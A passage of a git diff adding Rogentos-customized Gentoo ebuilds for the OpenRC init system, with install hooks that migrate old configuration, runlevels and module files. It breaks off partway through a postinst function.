+	# Rogentos customization, still protect conf files from being removed
+	# as no longer owned by package
+	for conf_file in "${EROOT}/etc/conf.d/keymaps" "${EROOT}/etc/conf.d/hwclock"; do
+		if [ -e "${conf_file}" ]; then
+			cp -p "${conf_file}" "${conf_file}.ebuild_preserved" # don't die
+		fi
+	done
+
+	local f LIBDIR=$(get_libdir)
+
+	# default net script is just comments, so no point in biting people
+	# in the ass by accident.  we save in preinst so that the package
+	# manager doesnt go throwing etc-update crap at us -- postinst is
+	# too late to prevent that.  this behavior also lets us keep the
+	# file in the CONTENTS for binary packages.
+	# RogentOS, use cp -d as per Gentoo bug #462674
+	[[ -e "${EROOT}"etc/conf.d/net ]] && \
+		cp -d "${EROOT}"etc/conf.d/net "${ED}"/etc/conf.d/
+
+	# avoid default thrashing in conf.d files when possible #295406
+	if [[ -e "${EROOT}"etc/conf.d/hostname ]] ; then
+		(
+		unset hostname HOSTNAME
+		source "${EROOT}"etc/conf.d/hostname
+		: ${hostname:=${HOSTNAME}}
+		[[ -n ${hostname} ]] && set_config /etc/conf.d/hostname hostname "${hostname}"
+		)
+	fi
+
+	# upgrade timezone file ... do it before moving clock
+	if [[ -e ${EROOT}etc/conf.d/clock && ! -e ${EROOT}/etc/timezone ]] ; then
+		(
+		unset TIMEZONE
+		source "${EROOT}"etc/conf.d/clock
+		[[ -n ${TIMEZONE} ]] && echo "${TIMEZONE}" > "${EROOT}"etc/timezone
+		)
+	fi
+
+	# /etc/conf.d/clock moved to /etc/conf.d/hwclock
+	local clock
+	use kernel_FreeBSD && clock="adjkerntz" || clock="hwclock"
+	if [[ -e "${EROOT}"etc/conf.d/clock ]] ; then
+		mv "${EROOT}"etc/conf.d/clock "${EROOT}"etc/conf.d/${clock}
+	fi
+	if [[ -e "${EROOT}"etc/init.d/clock ]] ; then
+		rm -f "${EROOT}"etc/init.d/clock
+	fi
+	if [[ -L "${EROOT}"etc/runlevels/boot/clock ]] ; then
+		rm -f "${EROOT}"etc/runlevels/boot/clock
+		ln -snf /etc/init.d/${clock} "${EROOT}"etc/runlevels/boot/${clock}
+	fi
+	if [[ -L "${EROOT}"${LIBDIR}/rc/init.d/started/clock ]] ; then
+		rm -f "${EROOT}"${LIBDIR}/rc/init.d/started/clock
+		ln -snf /etc/init.d/${clok} "${EROOT}"${LIBDIR}/rc/init.d/started/${clock}
+	fi
+
+	# /etc/conf.d/rc is no longer used for configuration
+	if [[ -e "${EROOT}"etc/conf.d/rc ]] ; then
+		elog "/etc/conf.d/rc is no longer used for configuration."
+		elog "Please migrate your settings to /etc/rc.conf as applicable"
+		elog "and delete /etc/conf.d/rc"
+	fi
+
+	# force net init.d scripts into symlinks
+	for f in "${EROOT}"etc/init.d/net.* ; do
+		[[ -e ${f} ]] || continue # catch net.* not matching anything
+		[[ ${f} == */net.lo ]] && continue # real file now
+		[[ ${f} == *.openrc.bak ]] && continue
+		if [[ ! -L ${f} ]] ; then
+			elog "Moved net service '${f##*/}' to '${f##*/}.openrc.bak' to force a symlink."
+			elog "You should delete '${f##*/}.openrc.bak' if you don't need it."
+			mv "${f}" "${f}.openrc.bak"
+			ln -snf net.lo "${f}"
+		fi
+	done
+
+	# termencoding was added in 0.2.1 and needed in boot
+	has_version ">=sys-apps/openrc-0.2.1" || add_boot_init termencoding
+
+	# swapfiles was added in 0.9.9 and needed in boot (february 2012)
+	has_version ">=sys-apps/openrc-0.9.9" || add_boot_init swapfiles
+
+	if ! has_version ">=sys-apps/openrc-0.11"; then
+		add_boot_init sysfs sysinit
+	fi
+
+	# set default interactive shell to sulogin if it exists
+	set_config /etc/rc.conf rc_shell /sbin/sulogin "#" test -e /sbin/sulogin
+
+	has_version sys-apps/openrc || migrate_from_baselayout_1
+	has_version ">=sys-apps/openrc-0.4.0" || migrate_udev_init_script
+	if ! has_version ">=sys-apps/openrc-0.11.3" ; then
+		migrate_udev_mount_script
+		add_boot_init tmpfiles.setup boot
+	fi
+}
+
+# >=openrc-0.4.0 no longer loads the udev addon
+migrate_udev_init_script() {
+	# make sure udev is in sysinit if it was enabled before
+	local enable_udev=false
+	local rc_devices=$(
+		[[ -f /etc/rc.conf ]] && source /etc/rc.conf
+		[[ -f /etc/conf.d/rc ]] && source /etc/conf.d/rc
+		echo "${rc_devices:-${RC_DEVICES:-auto}}"
+	)
+	case ${rc_devices} in
+		udev|auto)
+			enable_udev=true
+			;;
+	esac
+
+	if $enable_udev; then
+		add_boot_init udev sysinit
+		add_boot_init udev-postmount default
+	fi
+}
+
+# >=OpenRC-0.11.3 requires udev-mount to be in the sysinit runlevel with udev.
+migrate_udev_mount_script() {
+	if [ -e "${EROOT}"etc/runlevels/sysinit/udev -a \
+		! -e "${EROOT}"etc/runlevels/sysinit/udev-mount ]; then
+		add_boot_init udev-mount sysinit
+	fi
+	return 0
+}
+
+migrate_from_baselayout_1() {
+	# baselayout boot init scripts have been split out
+	for f in $(cd "${ED}"/usr/share/${PN}/runlevels/boot || exit; echo *) ; do
+		# baselayout-1 is always "old" net, so ignore "new" net
+		[[ ${f} == "network" ]] && continue
+
+		add_boot_init ${f}
+	done
+
+	# Try to auto-add some addons when possible
+	add_boot_init_mit_config /etc/conf.d/cryptfs dmcrypt
+	add_boot_init_mit_config /etc/conf.d/dmcrypt dmcrypt
+	add_boot_init_mit_config /etc/mdadm.conf mdraid
+	add_boot_init_mit_config /etc/evms.conf evms
+	[[ -e "${EROOT}"sbin/dmsetup ]] && add_boot_init device-mapper
+	[[ -e "${EROOT}"sbin/vgscan ]] && add_boot_init lvm
+	elog "Add on services (such as RAID/dmcrypt/LVM/etc...) are now stand alone"
+	elog "init.d scripts.  If you use such a thing, make sure you have the"
+	elog "required init.d scripts added to your boot runlevel."
+
+	# Upgrade our state for baselayout-1 users
+	if [[ ! -e "${EROOT}"${LIBDIR}/rc/init.d/started ]] ; then
+		(
+		[[ -e "${EROOT}"etc/conf.d/rc ]] && source "${EROOT}"/etc/conf.d/rc
+		svcdir=${svcdir:-/var/lib/init.d}
+		if [[ ! -d "${EROOT}"${svcdir}/started ]] ; then
+			ewarn "No state found, and no state exists"
+			elog "You should reboot this host"
+		else
+			mkdir -p "${EROOT}"${LIBDIR}/rc/init.d
+			einfo "Moving state from ${EROOT}${svcdir} to ${EROOT}${LIBDIR}/rc/init.d"
+			mv "${EROOT}${svcdir}"/* "${EROOT}${LIBDIR}"/rc/init.d
+			rm -rf "${EROOT}${LIBDIR}"/rc/init.d/daemons \
+				"${EROOT}${LIBDIR}"/rc/init.d/console
+			umount "${EROOT}${svcdir}" 2>/dev/null
+			rm -rf "${EROOT}${svcdir}"
+		fi
+		)
+	fi
+
+	# Handle the /etc/modules.autoload.d -> /etc/conf.d/modules transition
+	if [[ -d "${EROOT}"etc/modules.autoload.d ]] ; then
+		elog "Converting your /etc/modules.autoload.d/ files to /etc/conf.d/modules"
+		rm -f "${EROOT}"etc/modules.autoload.d/.keep*
+		rmdir "${EROOT}"etc/modules.autoload.d 2>/dev/null
+		if [[ -d "${EROOT}"etc/modules.autoload.d ]] ; then
+			local f v
+			for f in "${EROOT}"etc/modules.autoload.d/* ; do
+				v=${f##*/}
+				v=${v#kernel-}
+				v=${v//[^[:alnum:]]/_}
+				gawk -v v="${v}" -v f="${f##*/}" '
+				BEGIN { print "\n### START: Auto-converted from " f "\n" }
+				{
+					if ($0 ~ /^[^#]/) {
+						print "modules_" v "=\"${modules_" v "} " $1 "\""
+						gsub(/[^[:alnum:]]/, "_", $1)
+						printf "module_" $1 "_args_" v "=\""
+						for (i = 2; i <= NF; ++i) {
+							if (i > 2)
+								printf " "
+							printf $i
+						}
+						print "\"\n"
+					} else
+						print
+				}
+				END { print "\n### END: Auto-converted from " f "\n" }
+				' "${f}" >> "${ED}"/etc/conf.d/modules
+			done
+				rm -f "${f}"
+			rmdir "${EROOT}"etc/modules.autoload.d 2>/dev/null
+		fi
+	fi
+}
+
+pkg_postinst() {
+	local conf_file
+	# RogentOS customization, do not bug user with tedious, useless config file updates
+	for conf_file in "${EROOT}/etc/conf.d/keymaps" "${EROOT}/etc/conf.d/hwclock"; do
+		if [ -e "${conf_file}.ebuild_preserved" ]; then
+			cp -p "${conf_file}.ebuild_preserved" "${conf_file}" # don't die
+		elif [ ! -e "${conf_file}" ]; then
+			cp -p "${conf_file}.example" "${conf_file}" # don't die
+		fi
+		chown root:root "${conf_file}" # don't die
+	done
+	local LIBDIR=$(get_libdir)
+
+	# Remove old baselayout links
+	rm -f "${EROOT}"etc/runlevels/boot/{check{fs,root},rmnologin}
+	rm -f "${EROOT}"etc/init.d/{depscan,runscript}.sh
+
+	# Make our runlevels if they don't exist
+	if [[ ! -e "${EROOT}"etc/runlevels ]] || [[ -e "${EROOT}"etc/runlevels/.add_boot_init.created ]] ; then
+		einfo "Copying across default runlevels"
+		cp -RPp "${EROOT}"usr/share/${PN}/runlevels "${EROOT}"etc
+		rm -f "${EROOT}"etc/runlevels/.add_boot_init.created
+	else
+		if [[ ! -e "${EROOT}"etc/runlevels/sysinit/devfs ]] ; then
+			mkdir -p "${EROOT}"etc/runlevels/sysinit
+			cp -RPp "${EROOT}"usr/share/${PN}/runlevels/sysinit/* \
+				"${EROOT}"etc/runlevels/sysinit
+		fi
+		if [[ ! -e "${EROOT}"etc/runlevels/shutdown/mount-ro ]] ; then
+			mkdir -p "${EROOT}"etc/runlevels/shutdown
+			cp -RPp "${EROOT}"usr/share/${PN}/runlevels/shutdown/* \
+				"${EROOT}"etc/runlevels/shutdown
+		fi
+	fi
+
+	# /etc/conf.d/net.example is no longer valid
+	local NET_EXAMPLE="${EROOT}etc/conf.d/net.example"
+	local NET_MD5='8ebebfa07441d39eb54feae0ee4c8210'
+	if [[ -e "${NET_EXAMPLE}" ]] ; then
+		if [[ $(md5sum "${NET_EXAMPLE}") == ${NET_MD5}* ]]; then
+			rm -f "${NET_EXAMPLE}"
+			elog "${NET_EXAMPLE} has been removed."
+		else
+			sed -i '1i# This file is obsolete.\n' "${NET_EXAMPLE}"
+			elog "${NET_EXAMPLE} should be removed."
+		fi
+		elog "The new file is ${EROOT}usr/share/doc/${PF}/net.example"
+	fi
+
+	# /etc/conf.d/wireless.example is no longer valid
+	local WIRELESS_EXAMPLE="${EROOT}etc/conf.d/wireless.example"
+	local WIRELESS_MD5='d1fad7da940bf263c76af4d2082124a3'
+	if [[ -e "${WIRELESS_EXAMPLE}" ]] ; then
+		if [[ $(md5sum "${WIRELESS_EXAMPLE}") == ${WIRELESS_MD5}* ]]; then
+			rm -f "${WIRELESS_EXAMPLE}"
+			elog "${WIRELESS_EXAMPLE} is deprecated and has been removed."
+		else
+			sed -i '1i# This file is obsolete.\n' "${WIRELESS_EXAMPLE}"
+			elog "${WIRELESS_EXAMPLE} is deprecated and should be removed."
+		fi
+		elog "If you are using the old style network scripts,"
+		elog "Configure wireless settings in ${EROOT}etc/conf.d/net"
+		elog "after reviewing ${EROOT}usr/share/doc/${PF}/net.example"
+	fi
+
+	if [[ -d "${EROOT}"etc/modules.autoload.d ]] ; then
+		ewarn "/etc/modules.autoload.d is no longer used.  Please convert"
+		ewarn "your files to /etc/conf.d/modules and delete the directory."
+	fi
+
+	if use hppa; then
+		elog "Setting the console font does not work on all HPPA consoles."
+		elog "You can still enable it by running:"
+		elog "# rc-update add consolefont boot"
+	fi
+
+	# Handle the conf.d/local.{start,stop} -> local.d transition
+	if path_exists -o "${EROOT}"etc/conf.d/local.{start,stop} ; then
+		elog "Moving your ${EROOT}etc/conf.d/local.{start,stop}"
+		elog "files to ${EROOT}etc/local.d"
+		mv "${EROOT}"etc/conf.d/local.start "${EROOT}"etc/local.d/baselayout1.start
+		mv "${EROOT}"etc/conf.d/local.stop "${EROOT}"etc/local.d/baselayout1.stop
+		chmod +x "${EROOT}"etc/local.d/*{start,stop}
+	fi
+
+	if use kernel_linux && [[ "${EROOT}" = "/" ]]; then
+		/$(get_libdir)/rc/sh/migrate-to-run.sh
+	fi
+
+	# update the dependency tree after touching all files #224171
+	[[ "${EROOT}" = "/" ]] && "${EROOT}/${LIBDIR}"/rc/bin/rc-depend -u
+
+	if use newnet; then
+		local netscript=network
+	else
+		local netscript=net.lo
+	fi
+
+	if [ ! -e "${EROOT}"etc/runlevels/boot/${netscript} ]; then
+		ewarn "Please add the $netscript script to your boot runlevel"
+		ewarn "as soon as possible. Not doing so could leave you with a system"
+		ewarn "without networking."
+	fi
+
+	ewarn "In this version of OpenRC, the loopback interface no longer"
+	ewarn "satisfies the net virtual."
+	ewarn "If you have services now which do not start because of this,"
+	ewarn "They can be fixed by adding rc_need=\"!net\""
+	ewarn "to the ${EROOT}etc/conf.d/<servicename> file."
+	ewarn "You should also file a bug against the service asking that"
+	ewarn "need net be dropped from the dependencies."
+	ewarn "The bug you file should block the following tracker:"
+	ewarn "https://bugs.gentoo.org/show_bug.cgi?id=439092"
+
+	ewarn "This version of OpenRC doesn't enable nfs mounts automatically any"
+	ewarn "longer. In order to mount nfs file systems, you must use the"
+	ewarn "nfsmount service from the nfs-utils package."
+	ewarn "See bug https://bugs.gentoo.org/show_bug.cgi?id=427996 for"
+	ewarn "more information on this."
+
+	elog "You should now update all files in /etc, using etc-update"
+	elog "or equivalent before restarting any services or this host."
+	elog
+	elog "Please read the migration guide available at:"
+	elog "http://www.gentoo.org/doc/en/openrc-migration.xml"
+}
diff --git a/sys-apps/openrc/openrc-0.8.2-r1.ebuild b/sys-apps/openrc/openrc-0.8.2-r1.ebuild
new file mode 100644
index 00000000..8e23d158
--- /dev/null
+++ b/sys-apps/openrc/openrc-0.8.2-r1.ebuild
@@ -0,0 +1,458 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/sys-apps/openrc/openrc-0.8.2-r1.ebuild,v 1.6 2011/05/13 19:06:47 armin76 Exp $
+
+EAPI="1"
+
+inherit eutils flag-o-matic multilib toolchain-funcs
+
+if [[ ${PV} == "9999" ]] ; then
+	EGIT_REPO_URI="git://git.overlays.gentoo.org/proj/openrc.git"
+	inherit git
+	KEYWORDS=""
+else
+	SRC_URI="mirror://gentoo/${P}.tar.bz2"
+	KEYWORDS="alpha amd64 arm hppa ia64 ~m68k ~mips ppc ppc64 ~s390 sh sparc x86 ~sparc-fbsd ~x86-fbsd"
+fi
+
+DESCRIPTION="OpenRC manages the services, startup and shutdown of a host"
+HOMEPAGE="http://www.gentoo.org/proj/en/base/openrc/"
+
+LICENSE="BSD-2"
+SLOT="0"
+IUSE="debug elibc_glibc ncurses pam selinux unicode kernel_linux kernel_FreeBSD"
+
+RDEPEND="virtual/init
+	kernel_FreeBSD? ( sys-process/fuser-bsd )
+	elibc_glibc? ( >=sys-libs/glibc-2.5 )
+	ncurses? ( sys-libs/ncurses )
+	pam? ( virtual/pam )
+	>=sys-apps/baselayout-2.0.0
+	kernel_linux? ( !<sys-apps/module-init-tools-3.2.2-r2 )
+	!<sys-fs/udev-133
+	!<sys-apps/sysvinit-2.86-r11"
+DEPEND="${RDEPEND}
+	virtual/os-headers"
+
+make_args() {
+	unset LIBDIR #266688
+
+	MAKE_ARGS="${MAKE_ARGS} LIBNAME=$(get_libdir) LIBEXECDIR=/$(get_libdir)/rc"
+	MAKE_ARGS="${MAKE_ARGS} MKOLDNET=yes"
+
+	local brand="Unknown"
+	if use kernel_linux ; then
+		MAKE_ARGS="${MAKE_ARGS} OS=Linux"
+		brand="Linux"
+	elif use kernel_FreeBSD ; then
+		MAKE_ARGS="${MAKE_ARGS} OS=FreeBSD"
+		brand="FreeBSD"
+	fi
+	if use selinux; then
+			MAKE_ARGS="${MAKE_ARGS} MKSELINUX=yes"
+	fi
+	export BRANDING="Rogentos ${brand}"
+}
+
+pkg_setup() {
+	export DEBUG=$(usev debug)
+	export MKPAM=$(usev pam)
+	export MKTERMCAP=$(usev ncurses)
+}
+
+src_unpack() {
+	if [[ ${PV} == "9999" ]] ; then
+		git_src_unpack
+	else
+		unpack ${A}
+	fi
+	cd "${S}"
+	sed -i 's:0444:0644:' mk/sys.mk
+	sed -i "/^DIR/s:/openrc:/${PF}:" doc/Makefile #241342
+
+	# Allow user patches to be applied without modifying the ebuild
+	epatch_user
+
+	# Rogentos custom config
+	epatch "${FILESDIR}/${PN}-sabayon-config.patch"
+	epatch "${FILESDIR}/${PN}-enable-interactive.patch"
+	epatch "${FILESDIR}"/${PN}-0.5.3-disable_warns_until_migrated.patch
+	epatch "${FILESDIR}/${PN}-netmount-fix.patch"
+	epatch "${FILESDIR}/${PN}-protect-rcsvcdir-for-symlink.patch"
+	epatch "${FILESDIR}/${PN}-0.6.1-fix-clockskew-error-handling.patch"
+}
+
+src_compile() {
+	make_args
+
+	if [[ ${PV} == "9999" ]] ; then
+		local ver="git-$(echo ${EGIT_VERSION} | cut -c1-8)"
+		sed -i "/^GITVER[[:space:]]*=/s:=.*:=${ver}:" mk/git.mk
+	fi
+
+	tc-export CC AR RANLIB
+	emake ${MAKE_ARGS} || die "emake ${MAKE_ARGS} failed"
+}
+
+# set_config <file> <option name> <yes value> <no value> test
+# a value of "#" will just comment out the option
+set_config() {
+	local file="${D}/$1" var=$2 val com
+	eval "${@:5}" && val=$3 || val=$4
+	[[ ${val} == "#" ]] && com="#" && val='\2'
+	sed -i -r -e "/^#?${var}=/{s:=([\"'])?([^ ]*)\1?:=\1${val}\1:;s:^#?:${com}:}" "${file}"
+}
+set_config_yes_no() {
+	set_config "$1" "$2" YES NO "${@:3}"
+}
+
+src_install() {
+	make_args
+	emake ${MAKE_ARGS} DESTDIR="${D}" install || die
+
+	# install the readme for the new network scripts
+	dodoc README.newnet
+
+	# move the shared libs back to /usr so ldscript can install
+	# more of a minimal set of files
+	# disabled for now due to #270646
+	#mv "${D}"/$(get_libdir)/lib{einfo,rc}* "${D}"/usr/$(get_libdir)/ || die
+	#gen_usr_ldscript -a einfo rc
+	gen_usr_ldscript libeinfo.so
+	gen_usr_ldscript librc.so
+
+	keepdir /$(get_libdir)/rc/{init.d,tmp}
+
+	# Backup our default runlevels
+	dodir /usr/share/"${PN}"
+	cp -PR "${D}"/etc/runlevels "${D}"/usr/share/${PN} || die
+	rm -rf "${D}"/etc/runlevels
+
+	# Stick with "old" net as the default for now
+	doconfd conf.d/net || die
+	pushd "${D}"/usr/share/${PN}/runlevels/boot > /dev/null
+	rm -f network staticroute
+	ln -s /etc/init.d/net.lo net.lo
+	popd > /dev/null
+
+	# Setup unicode defaults for silly unicode users
+	set_config_yes_no /etc/rc.conf unicode use unicode
+
+	# Cater to the norm
+	set_config_yes_no /etc/conf.d/keymaps windowkeys '(' use x86 '||' use amd64 ')'
+
+	# On HPPA, do not run consolefont by default (bug #222889)
+	if use hppa; then
+		rm -f "${D}"/usr/share/openrc/runlevels/boot/consolefont
+	fi
+
+	# Support for logfile rotation
+	insinto /etc/logrotate.d
+	newins "${FILESDIR}"/openrc.logrotate openrc
+
+	# Move /etc/conf.d/keymaps to .example
+	mv "${D}"/etc/conf.d/keymaps "${D}"/etc/conf.d/keymaps.example || \
+		die "cannot move keymaps"
+
+}
+
+add_boot_init() {
+	local initd=$1
+	local runlevel=${2:-boot}
+	# if the initscript is not going to be installed and is not
+	# currently installed, return
+	[[ -e ${D}/etc/init.d/${initd} || -e ${ROOT}/etc/init.d/${initd} ]] \
+		|| return
+	[[ -e ${ROOT}/etc/runlevels/${runlevel}/${initd} ]] && return
+
+	# if runlevels dont exist just yet, then create it but still flag
+	# to pkg_postinst that it needs real setup #277323
+	if [[ ! -d ${ROOT}/etc/runlevels/${runlevel} ]] ; then
+		mkdir -p "${ROOT}"/etc/runlevels/${runlevel}
+		touch "${ROOT}"/etc/runlevels/.add_boot_init.created
+	fi
+
+	elog "Auto-adding '${initd}' service to your ${runlevel} runlevel"
+	ln -snf /etc/init.d/${initd} "${ROOT}"/etc/runlevels/${runlevel}/${initd}
+}
+add_boot_init_mit_config() {
+	local config=$1 initd=$2
+	if [[ -e ${ROOT}${config} ]] ; then
+		if [[ -n $(sed -e 's:#.*::' -e '/^[[:space:]]*$/d' "${ROOT}"/${config}) ]] ; then
+			add_boot_init ${initd}
+		fi
+	fi
+}
+
+CONFD_KEYMAPS="${ROOT}/etc/conf.d/keymaps"
+pkg_preinst() {
+	# backup user /etc/conf.d/keymaps
+	if [ -f "${CONFD_KEYMAPS}" ]; then
+		cp -p "${CONFD_KEYMAPS}" "${CONFD_KEYMAPS}.portage_openrc_bck"
+	fi
+	local f LIBDIR=$(get_libdir)
+
+	# default net script is just comments, so no point in biting people
+	# in the ass by accident.  we save in preinst so that the package
+	# manager doesnt go throwing etc-update crap at us -- postinst is
+	# too late to prevent that.  this behavior also lets us keep the
+	# file in the CONTENTS for binary packages.
+	[[ -e ${ROOT}/etc/conf.d/net ]] && cp "${ROOT}"/etc/conf.d/net "${D}"/etc/conf.d/
+
+	# avoid default thrashing in conf.d files when possible #295406
+	if [[ -e ${ROOT}/etc/conf.d/hostname ]] ; then
+		(
+		unset hostname HOSTNAME
+		source "${ROOT}"/etc/conf.d/hostname
+		: ${hostname:=${HOSTNAME}}
+		[[ -n ${hostname} ]] && set_config /etc/conf.d/hostname hostname "${hostname}"
+		)
+	fi
+
+	# upgrade timezone file ... do it before moving clock
+	if [[ -e ${ROOT}/etc/conf.d/clock && ! -e ${ROOT}/etc/timezone ]] ; then
+		(
+		unset TIMEZONE
+		source "${ROOT}"/etc/conf.d/clock
+		[[ -n ${TIMEZONE} ]] && echo "${TIMEZONE}" > "${ROOT}"/etc/timezone
+		)
+	fi
+
+	# /etc/conf.d/clock moved to /etc/conf.d/hwclock
+	local clock
+	use kernel_FreeBSD && clock="adjkerntz" || clock="hwclock"
+	if [[ -e ${ROOT}/etc/conf.d/clock ]] ; then
+		mv "${ROOT}"/etc/conf.d/clock "${ROOT}"/etc/conf.d/${clock}
+	fi
+	if [[ -e ${ROOT}/etc/init.d/clock ]] ; then
+		rm -f "${ROOT}"/etc/init.d/clock
+	fi
+	if [[ -L ${ROOT}/etc/runlevels/boot/clock ]] ; then
+		rm -f "${ROOT}"/etc/runlevels/boot/clock
+		ln -snf /etc/init.d/${clock} "${ROOT}"/etc/runlevels/boot/${clock}
+	fi
+	if [[ -L ${ROOT}${LIBDIR}/rc/init.d/started/clock ]] ; then
+		rm -f "${ROOT}${LIBDIR}"/rc/init.d/started/clock
+		ln -snf /etc/init.d/${clock} "${ROOT}${LIBDIR}"/rc/init.d/started/${clock}
+	fi
+
+	# /etc/conf.d/rc is no longer used for configuration
+	if [[ -e ${ROOT}/etc/conf.d/rc ]] ; then
+		elog "/etc/conf.d/rc is no longer used for configuration."
+		elog "Please migrate your settings to /etc/rc.conf as applicable"
+		elog "and delete /etc/conf.d/rc"
+	fi
+
+	# force net init.d scripts into symlinks
+	for f in "${ROOT}"/etc/init.d/net.* ; do
+		[[ -e ${f} ]] || continue # catch net.* not matching anything
+		[[ ${f} == */net.lo ]] && continue # real file now
+		[[ ${f} == *.openrc.bak ]] && continue
+		if [[ ! -L ${f} ]] ; then
+			elog "Moved net service '${f##*/}' to '${f##*/}.openrc.bak' to force a symlink."
+			elog "You should delete '${f##*/}.openrc.bak' if you don't need it."
+			mv "${f}" "${f}.openrc.bak"
+			ln -snf net.lo "${f}"
+		fi
+	done
+
+	# termencoding was added in 0.2.1 and needed in boot
+	has_version ">=sys-apps/openrc-0.2.1" || add_boot_init termencoding
+
+	# set default interactive shell to sulogin if it exists
+	set_config /etc/rc.conf rc_shell /sbin/sulogin "#" test -e /sbin/sulogin
+
+	has_version sys-apps/openrc || migrate_from_baselayout_1
+	has_version ">=sys-apps/openrc-0.4.0" || migrate_udev_init_script
+}
+
+# >=openrc-0.4.0 no longer loads the udev addon
+migrate_udev_init_script() {
+	# make sure udev is in sysinit if it was enabled before
+	local enable_udev=false
+	local rc_devices=$(
+		[[ -f /etc/rc.conf ]] && source /etc/rc.conf
+		[[ -f /etc/conf.d/rc ]] && source /etc/conf.d/rc
+		echo "${rc_devices:-${RC_DEVICES:-auto}}"
+	)
+	case ${rc_devices} in
+		udev|auto)
+			enable_udev=true
+			;;
+	esac
+
+	if $enable_udev; then
+		add_boot_init udev sysinit
+		add_boot_init udev-postmount default
+	fi
+}
+
+migrate_from_baselayout_1() {
+	# baselayout boot init scripts have been split out
+	for f in $(cd "${D}"/usr/share/${PN}/runlevels/boot || exit; echo *) ; do
+		# baselayout-1 is always "old" net, so ignore "new" net
+		[[ ${f} == "network" ]] && continue
+
+		add_boot_init ${f}
+	done
+
+	# Try to auto-add some addons when possible
+	add_boot_init_mit_config /etc/conf.d/cryptfs dmcrypt
+	add_boot_init_mit_config /etc/conf.d/dmcrypt dmcrypt
+	add_boot_init_mit_config /etc/mdadm.conf mdraid
+	add_boot_init_mit_config /etc/evms.conf evms
+	[[ -e ${ROOT}/sbin/dmsetup ]] && add_boot_init device-mapper
+	[[ -e ${ROOT}/sbin/vgscan ]] && add_boot_init lvm
+	elog "Add on services (such as RAID/dmcrypt/LVM/etc...) are now stand alone"
+	elog "init.d scripts.  If you use such a thing, make sure you have the"
+	elog "required init.d scripts added to your boot runlevel."
+
+	# Upgrade out state for baselayout-1 users
+	if [[ ! -e ${ROOT}${LIBDIR}/rc/init.d/started ]] ; then
+		(
+		[[ -e ${ROOT}/etc/conf.d/rc ]] && source "${ROOT}"/etc/conf.d/rc
+		svcdir=${svcdir:-/var/lib/init.d}
+		if [[ ! -d ${ROOT}${svcdir}/started ]] ; then
+			ewarn "No state found, and no state exists"
+			elog "You should reboot this host"
+		else
+			mkdir -p "${ROOT}${LIBDIR}/rc/init.d"
+			einfo "Moving state from ${ROOT}${svcdir} to ${ROOT}${LIBDIR}/rc/init.d"
+			mv "${ROOT}${svcdir}"/* "${ROOT}${LIBDIR}"/rc/init.d
+			rm -rf "${ROOT}${LIBDIR}"/rc/init.d/daemons \
+				"${ROOT}${LIBDIR}"/rc/init.d/console
+			umount "${ROOT}${svcdir}" 2>/dev/null
+			rm -rf "${ROOT}${svcdir}"
+		fi
+		)
+	fi
+
+	# Handle the /etc/modules.autoload.d -> /etc/conf.d/modules transition
+	if [[ -d ${ROOT}/etc/modules.autoload.d ]] ; then
+		elog "Converting your /etc/modules.autoload.d/ files to /etc/conf.d/modules"
+		rm -f "${ROOT}"/etc/modules.autoload.d/.keep*
+		rmdir "${ROOT}"/etc/modules.autoload.d 2>/dev/null
+		if [[ -d ${ROOT}/etc/modules.autoload.d ]] ; then
+			local f v
+			for f in "${ROOT}"/etc/modules.autoload.d/* ; do
+				v=${f##*/}
+				v=${v#kernel-}
+				v=${v//[^[:alnum:]]/_}
+				gawk -v v="${v}" -v f="${f##*/}" '
+				BEGIN { print "\n### START: Auto-converted from " f "\n" }
+				{
+					if ($0 ~ /^[^#]/) {
+						print "modules_" v "=\"${modules_" v "} " $1 "\""
+						gsub(/[^[:alnum:]]/, "_", $1)
+						printf "module_" $1 "_args_" v "=\""
+						for (i = 2; i <= NF; ++i) {
+							if (i > 2)
+								printf " "
+							printf $i
+						}
+						print "\"\n"
+					} else
+						print
+				}
+				END { print "\n### END: Auto-converted from " f "\n" }
+				' "${f}" >> "${D}"/etc/conf.d/modules
+			done
+				rm -f "${f}"
+			rmdir "${ROOT}"/etc/modules.autoload.d 2>/dev/null
+		fi
+	fi
+}
+
+pkg_postinst() {
+	# Copy config file over
+	if [ -f "${CONFD_KEYMAPS}.portage_openrc_bck" ]; then
+		cp ${CONFD_KEYMAPS}.portage_openrc_bck ${CONFD_KEYMAPS} -p
+	else
+		if [ -f "${CONFD_KEYMAPS}.example" ] && [ ! -f "${CONFD_KEYMAPS}" ]; then
+			cp ${CONFD_KEYMAPS}.example ${CONFD_KEYMAPS} -p
+		fi
+	fi
+
+	local LIBDIR=$(get_libdir)
+
+	# Remove old baselayout links
+	rm -f "${ROOT}"/etc/runlevels/boot/{check{fs,root},rmnologin}
+	rm -f "${ROOT}"/etc/init.d/{depscan,runscript}.sh
+
+	# Make our runlevels if they don't exist
+	if [[ ! -e ${ROOT}/etc/runlevels ]] || [[ -e ${ROOT}/etc/runlevels/.add_boot_init.created ]] ; then
+		einfo "Copying across default runlevels"
+		cp -RPp "${ROOT}"/usr/share/${PN}/runlevels "${ROOT}"/etc
+		rm -f "${ROOT}"/etc/runlevels/.add_boot_init.created
+	else
+		if [[ ! -e ${ROOT}/etc/runlevels/sysinit/devfs ]] ; then
+			mkdir -p "${ROOT}"/etc/runlevels/sysinit
+			cp -RPp "${ROOT}"/usr/share/${PN}/runlevels/sysinit/* \
+				"${ROOT}"/etc/runlevels/sysinit
+		fi
+		if [[ ! -e ${ROOT}/etc/runlevels/shutdown/mount-ro ]] ; then
+			mkdir -p "${ROOT}"/etc/runlevels/shutdown
+			cp -RPp "${ROOT}"/usr/share/${PN}/runlevels/shutdown/* \
+				"${ROOT}"/etc/runlevels/shutdown
+		fi
+	fi
+
+	# /etc/conf.d/net.example is no longer valid
+	local NET_EXAMPLE="${ROOT}/etc/conf.d/net.example"
+	local NET_MD5='8ebebfa07441d39eb54feae0ee4c8210'
+	if [[ -e "${NET_EXAMPLE}" ]] ; then
+		if [[ $(md5sum "${NET_EXAMPLE}") == ${NET_MD5}* ]]; then
+			rm -f "${NET_EXAMPLE}"
+			elog "${NET_EXAMPLE} has been removed."
+		else
+			sed -i '1i# This file is obsolete.\n' "${NET_EXAMPLE}"
+			elog "${NET_EXAMPLE} should be removed."
+		fi
+		elog "The new file is ${ROOT}/usr/share/doc/${PF}/net.example"
+	fi
+
+	# /etc/conf.d/wireless.example is no longer valid
+	local WIRELESS_EXAMPLE="${ROOT}/etc/conf.d/wireless.example"
